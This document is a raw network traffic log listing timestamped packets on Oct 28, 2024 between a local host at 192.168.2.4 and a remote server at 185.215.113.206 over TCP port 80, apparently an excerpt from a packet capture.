Oct 28, 2024 06:27:28.127216101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127223969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127226114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127242088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127285957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.202424049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.202445030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.202455997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.202558041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.202570915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.202588081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.202600956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.202621937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.202637911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.202735901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203151941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203250885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203269005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203280926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203290939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203299999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203303099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203329086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203331947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203346968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203358889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203360081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203372002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203382969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203386068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203393936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203398943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203407049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203418970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203429937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203444958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203449011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203461885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203471899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203481913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203493118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203491926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203493118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203502893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203514099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203515053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203526020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203537941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203542948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203547001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203557968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203560114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203584909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203587055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203598976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203615904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203633070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203711987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203723907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203733921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203758001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203773975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203835964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203847885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203856945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203883886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203905106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203922987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203934908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203969002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.203970909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203982115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.203990936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.204003096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.204015017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.204016924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.204032898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.204051018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207773924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207787037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207798004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207853079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207863092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207881927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207907915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207918882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.207921028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207943916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207962036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.207990885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208000898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208010912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208040953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208065033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208082914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208093882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208102942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208132029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208154917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208189964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208199024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208236933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208313942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208323956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208333015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208358049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208379030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208575964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208586931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208607912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208623886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208650112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208834887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208851099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208865881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208875895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208883047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208888054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208898067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208904028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208904028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208929062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208930016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208947897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208950996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208959103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208969116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208977938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.208980083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208992004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.208997011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209023952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209043980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209101915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209112883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209122896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209156036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209157944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209167957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209194899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209203005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209207058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209216118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209239006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209252119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209424973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209434986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209445953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209458113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209469080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209477901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209506989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209584951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209594965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209604979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209630966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209636927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209644079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209647894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209659100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209673882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209676027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209686041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209692955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209721088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209723949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209734917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209773064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209808111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209819078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209830046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209849119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209876060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209903002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209913969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209923983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209934950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209945917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.209954977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209965944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.209989071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247018099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247054100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247066975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247085094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247112036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247179985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247193098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247210026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247220993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247231960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247232914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247245073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247262955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247263908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247272968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247283936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247286081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247308016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247337103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247399092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247411966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247421980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247441053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247447014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247453928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247464895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247472048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247505903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247612953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247658968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247718096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247729063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247740030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247751951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247762918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247764111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247776031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247786045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247791052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247797966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.247812033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247823954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.247848034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.323219061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323246956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323257923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323307037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323333025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323343992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323354006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323357105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.323368073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323379040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.323414087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.323436975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324131966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324188948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324317932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324333906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324345112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324356079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324367046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324367046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324379921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324394941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324399948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324414968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324424028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324425936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324443102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324445963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324461937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324472904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324476957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324482918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324496031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324506998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324510098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324526072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324533939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324547052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324558020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324558020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324570894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324582100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324590921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324594975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324604988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324609995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324613094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324619055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324624062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324662924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324743032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324759007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324769020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324779987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324786901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324791908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324803114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324815035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324815989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324826956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324839115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324846983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324851990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324865103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324866056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.324884892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.324912071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328656912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328677893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328687906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328730106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328749895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328819036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328835011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328846931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328856945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328862906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328869104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328880072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328886032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328891993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328902960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328913927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328916073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328927994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.328933001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328958035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.328980923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329047918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329058886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329071045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329082012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329093933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329098940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329123974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329149008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329435110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329492092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329503059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329514027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329540968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329554081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329591036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329602957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329612970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329623938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329637051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329639912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329648018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329658985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329664946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329669952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329687119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329705954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.329879045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.329936028 CET	80	49758	185.215.113.206	192.168.2.4
